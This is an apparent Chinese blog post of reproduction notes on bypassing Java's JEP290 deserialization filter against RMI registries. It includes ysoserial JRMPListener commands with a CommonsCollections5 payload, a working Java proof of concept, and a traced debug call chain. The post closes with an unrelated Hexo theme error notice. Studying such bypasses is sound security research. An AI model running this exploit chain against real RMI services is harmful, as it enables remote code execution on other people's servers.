RMI：绕过JEP290——下

前文留了个坑，8u231之后还出现了限制与绕过，填个坑

本节的思路：

  1. 回顾JEP290 bypass的原理
  2. 8u231的限制，老的JRMP绕过方式为何不行了
  3. An Trinh的绕过方式
  4. 8u241的限制

JEP290 JRMP绕过原理

回顾前文讲过，绕过JEP290的原理如下：

  1. 利用JEP290白名单内的类，建立JRMP连接，覆盖掉registerRefs
  2. Registry 处理bind请求，最后会触发DGC逻辑，DGC向registerRefs里保存的Server发送dirty请求
  3. DGC底层使用的是StreamRemoteCall.executeCall进行io的传输，executeCall发送完之后，会根据对方的反馈进行不同的操作，当对方返回一定条件时（初步判断是对方RMI Exception），会直接序列化InputStream，造成反序列化漏洞

但是8u231中已经对此做了限制

8u231限制

详情可以参考【1】，讲的很详细，不赘述

这里直接给出重点结论

  • sun.rmi.registry.RegistryImpl_Skel#dispatch报错情况消除ref
  • sun.rmi.transport.DGCImpl_Stub#dirty提前了黑名单

upload successful

upload successful

An Trinh的RMI注册端的Bypass方法

复现

直接参考【1】ysomap中的poc

  1. Start Evil Registry

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 "open -a calculator.app"

  2. Start Vuln Registry

    启动helloRegistry

  3. 启动 ysomap/core/exploit/rmi/NamingTest.java

分析

同样在cc链上下断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
readObject:150, LazyMap (org.apache.commons.collections.map)
... 
cc5
...
executeCall:270, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy0 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:237, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [1]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:122, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
...

先来看看两次payload的区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public void test_bypass_jep290_plus() throws Exception{
        // 1. 建立RMI连接
        Registry registry = LocateRegistry.getRegistry(1099);

		// 2. UnicastRef
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 10999);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

        // 3.1 原jep290 的代理类
        // RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        // Registry proxy = (Registry) Proxy.newProxyInstance(HelloServer.class.getClassLoader(), new Class[]{Registry.class}, obj);
        // registry.bind("hello", proxy);
        

        // 3.2 An Trinh jep290 bypass的代理类
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler((RemoteRef) ref);
        RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
                RMIServerSocketFactory.class.getClassLoader(),// classloader
                new Class[] { RMIServerSocketFactory.class, Remote.class}, // interfaces to implements
                handler// RemoteObjectInvocationHandler
        );
        // UnicastRemoteObject constructor is protected. It needs to use reflections to new a object
        Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null); // 获取默认的
        constructor.setAccessible(true);
        UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null);
		// 通过反射设置remoteObject ssf属性
        ReflectionHelper.setFieldValue(remoteObject, "ssf", serverSocketFactory);
        
		// 修改之后的lookup
        Naming.lookup(registry, remoteObject);
    }

跟踪调试下来发现参考【1】讲解的很详细了，需要仔细阅读，没什么多的好讲的，原文涉及到的就不赘述，啰嗦下自己的理解，重要的记录下

1
原JEP290实际上 序列化代码反序列化过程中 并未建立JRMP连接，只是覆盖了incomingRefTable，从而影响了DGC流程触发漏洞；而An Trinh的攻击思路是 直接在反序列化的时候，建立JRMP连接，触发UnicastRef底层StreamRemoteCall的处理异常逻辑(之后还是会走原JEP290覆盖incomingRefTable的流程)。

这个调用栈很关键

upload successful

跟踪下调用栈

  1. UnicastRemoteObject.readObject
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private void readObject(java.io.ObjectInputStream in)
    throws java.io.IOException, java.lang.ClassNotFoundException
{
    in.defaultReadObject();
    reexport();
}

private void reexport() throws RemoteException
{
    if (csf == null && ssf == null) {
        exportObject((Remote) this, port);
    } else {
        exportObject((Remote) this, port, csf, ssf);
    }
}
此时的ssf为 serverSocketFactory，值为Proxy[RMIServerSocketFactory,RemoteObjectInvocationHandler[UnicastRef [liveRef: [endpoint:[127.0.0.1:10999](remote),objID:[0:0:0, 534121287]]]]]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static Remote exportObject(Remote obj, int port,
                                  RMIClientSocketFactory csf,
                                  RMIServerSocketFactory ssf)
    throws RemoteException
{
    return exportObject(obj, new UnicastServerRef2(port, csf, ssf));
}
 	
// sun.rmi.server.UnicastServerRef2.class
public UnicastServerRef2(int var1, RMIClientSocketFactory var2, RMIServerSocketFactory var3) {
    super(new LiveRef(var1, var2, var3));
}

private static Remote exportObject(Remote obj, UnicastServerRef sref)
    throws RemoteException
{
    // if obj extends UnicastRemoteObject, set its ref.
    if (obj instanceof UnicastRemoteObject) {
        ((UnicastRemoteObject) obj).ref = sref;
    }
    return sref.exportObject(obj, null, false);
}
注意到此时obj属性ref被值为sref，sref=UnicastServerRef(new LiveRef(port=0, csf=null, ssf=serverSocketFactory))。

是不是很类似原poc中构造UnicastRef的部分
1
2
3
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 10999);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

upload successful

  1. UnicastServerRef/LiveRef/TCPEndpoint/TCPTransport

这个过程比较简单

UnicastServerRef$exportObject

1
2
Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
this.ref.exportObject(var6);
其中this.ref为上面的LiveRef，var5为Proxy[Remote,RemoteObjectInvocationHandler[UnicastRef2 [liveRef: [endpoint:[localhost:0,Proxy[RMIServerSocketFactory,RemoteObjectInvocationHandler[UnicastRef [liveRef: [endpoint:[127.0.0.1:10999](remote),objID:[0:0:0, 534121287]]]]]](local),objID:[-e331dff:173958b39d9:-7ffe, -3106094860174826018]]]]]

LiveRef$exportObject

upload successful

接下来没什么重要的，直到建立TCP连接并监听

  1. TCPEndpoint$newServerSocket
1
ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort);
这里需要注意的是，var1为前文的代理，值为上文的serverSocketFactory，具体值为Proxy[RMIServerSocketFactory,RemoteObjectInvocationHandler[UnicastRef [liveRef: [endpoint:[127.0.0.1:10999](remote),objID:[0:0:0, 534121287]]]]]

serverSocketFactory.所有方法（当让包括createServerSocket）动态代理到RemoteObjectInvoationhandler的invoke，对应POC处的代码
1
2
3
4
5
RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
            RMIServerSocketFactory.class.getClassLoader(),// classloader
            new Class[] { RMIServerSocketFactory.class, Remote.class}, // interfaces to implements
            handler// RemoteObjectInvocationHandler
    );

所以下一步是会是

RemoteObjectInvocationHandler$invoke

RemoteObjectInvocationHandler$invokeRemoteMethod

  1. RemoteObjectInvocationHandler$invokeRemoteMethod
1
2
3
4
5
6
7
8
9
10
11
12
private Object invokeRemoteMethod(Object proxy,
                                  Method method,
                                  Object[] args)
    throws Exception
{
    try {
        if (!(proxy instanceof Remote)) {
            throw new IllegalArgumentException(
                "proxy not Remote instance");
        }
        return ref.invoke((Remote) proxy, method, args,
                          getMethodHash(method));

UnicastRef$invoke

1
var7.executeCall();

这里和原JEP290的就不一样的，虽然都有用到这个类，但是原来的调用链用到的是UnicastRef$readExternal，这里就不一样了，executeCall会进入到StreamRemoteCall.executeCall流程，也就是前文的经常提及的触发点。

如何发送序列化Payload

前文的test_bypass_jep290_plus 中构造了可利用的remoteObject，没有提及如何发送给Vuln Registry，为了简化直接使用的

1
2
// 修改之后的lookup
      Naming.lookup(registry, remoteObject);

那么为什么不用以下的

1
2
registry.lookup(remoteObject);
registry.bind('test',remoteObject)

这两个是因为不同的原因，依次单独来讲

实现lookup(object)

lookup只接受String类型的参数，直接传object肯定不行，参考【1】中提及了直接改包，比较直接暴力这里不深入跟进

还有一种是ysomap中重写lookup函数的方式，来看看具体实现

ysomap.core.exploit.rmi.component.Naming#lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static Remote lookup(Registry registry, Object obj)
            throws Exception {
        // 段1
        RemoteRef ref = (RemoteRef) ReflectionHelper.getFieldValue(registry, "ref");
        long interfaceHash = (long) ReflectionHelper.getFieldValue(registry, "interfaceHash");
        java.rmi.server.Operation[] operations = (Operation[]) ReflectionHelper.getFieldValue(registry, "operations");
        java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);
        
        try {
            try {
            	// 段2
                java.io.ObjectOutput out = call.getOutputStream();
                //反射修改enableReplace
                ReflectionHelper.setFieldValue(out, "enableReplace", false);
                out.writeObject(obj); // arm obj
            } catch (java.io.IOException e) {
                throw new java.rmi.MarshalException("error marshalling arguments", e);
            }
            ref.invoke(call);
            return null;
        } catch (RuntimeException | RemoteException | NotBoundException e) {
            if(e instanceof RemoteException| e instanceof ClassCastException){
                Logger.success("exploit remote registry success!");
                return null;
            }else{
                throw e;
            }
        } catch (java.lang.Exception e) {
            throw new java.rmi.UnexpectedException("undeclared checked exception", e);
        } finally {
            ref.done(call);
        }
    }

对比下sun.rmi.registry.RegistryImpl_Stub$lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
        try {
        	// 其实只实现了这段逻辑
            // ----------start----------
            RemoteCall var2 = this.ref.newCall(this, operations, 2, 4905912898345647071L);
			
            try {
                ObjectOutput var3 = var2.getOutputStream();
                var3.writeObject(var1);
            } catch (IOException var17) {
                throw new MarshalException("error marshalling arguments", var17);
            }

            this.ref.invoke(var2);
            // ----------end----------

            Remote var22;
            try {
                ObjectInput var4 = var2.getInputStream();
                var22 = (Remote)var4.readObject();
            }
...
    }

可以发现：

  1. ysomap Naming$lookup其实只实现到发送ref.invoke
  2. 段1通过反射，获取RemoteCall
  3. 注意段2有给out增加属性enableReplace=false;发送的是Object类型的obj，而不是原来的String

其中enableReplace=false有深意

enableReplace=false

这里很重要

强烈建议阅读参考【1】原文关于enableReplace 这一段，这里就直接引用相关重要结论

  • 我们默认理解为序列化过程是对于我们的恶意object进行writeobject，RMIConnectionImpl_Stub.writeobject()、UnicastRemoteObject.writeobject()那么当然是序列化的。（实际上也可以，在github的Bypass290代码中尝试序列化写入了文件中进行查看，结果也是把正确的ref值写入了，就不贴图了）

  • 但是实际上客户端序列化的过程为：ObjectOutput.writeobject(我们的恶意object)

java.io.ObjectOutputStream#writeObject0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private void writeObject0(Object obj, boolean unshared)
        throws IOException
    {
        boolean oldMode = bout.setBlockDataMode(false);
        depth++;
        try {
            //一大堆类型检查，都不会通过

            // 想要去检查替换我们的object
            Object orig = obj;
            Class<?> cl = obj.getClass();
            ObjectStreamClass desc;
            for (;;) {
                //查找相关内容
            }
            if (enableReplace) {//都是true
            //!!!!!!!!!!!此处替换了我们的对象！！！！！！！！！！
                Object rep = replaceObject(obj);
                if (rep != obj && rep != null) {
                    cl = rep.getClass();
                    desc = ObjectStreamClass.lookup(cl, true);
                }
                obj = rep;
            }

            //一些替换后的处理，不太重要

            // 通过类进行分配序列化过程
            if (obj instanceof String) {
                writeString((String) obj, unshared);
            } else if (cl.isArray()) {
                writeArray(obj, desc, unshared);
            } else if (obj instanceof Enum) {
                writeEnum((Enum<?>) obj, desc, unshared);
            } else if (obj instanceof Serializable) {
                //进入此处再开始正常的序列化
                writeOrdinaryObject(obj, desc, unshared);
            //...省略...
    }

replaceobject替换的方法具体在sun.rmi.server.MarshalOutputStream#replaceObject中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//var1就是我们想要序列化的类
protected final Object replaceObject(Object var1) throws IOException {
    //这个类要是Remote接口的，并且不是RemoteStub接口的，为true
    if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) {
        //这里会去获取到新的对象来替换
        //UnicastRemoteObject走的就是这条路
        Target var2 = ObjectTable.getTarget((Remote)var1);
        if (var2 != null) {
            return var2.getStub();
        }
    }
    //RMIConnectionImpl_Stub走的就是这条路
    return var1;
}
通过bind攻击

理解以上的原理，lookup适用的bind同样适用，ysomap Naming增加同样的bind函数即可。

小结

本节只能算是参考【1】中的jep290 An Trinh方式的复现笔记，其间几个重点类的构造巧妙，只能通过正向调试分析为什么可以，至于逆向分析为什么会想到这个思路，顶礼膜拜，不能望其项背。

还有8u241等知识点未复现，之后有空再作记录。

参考

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true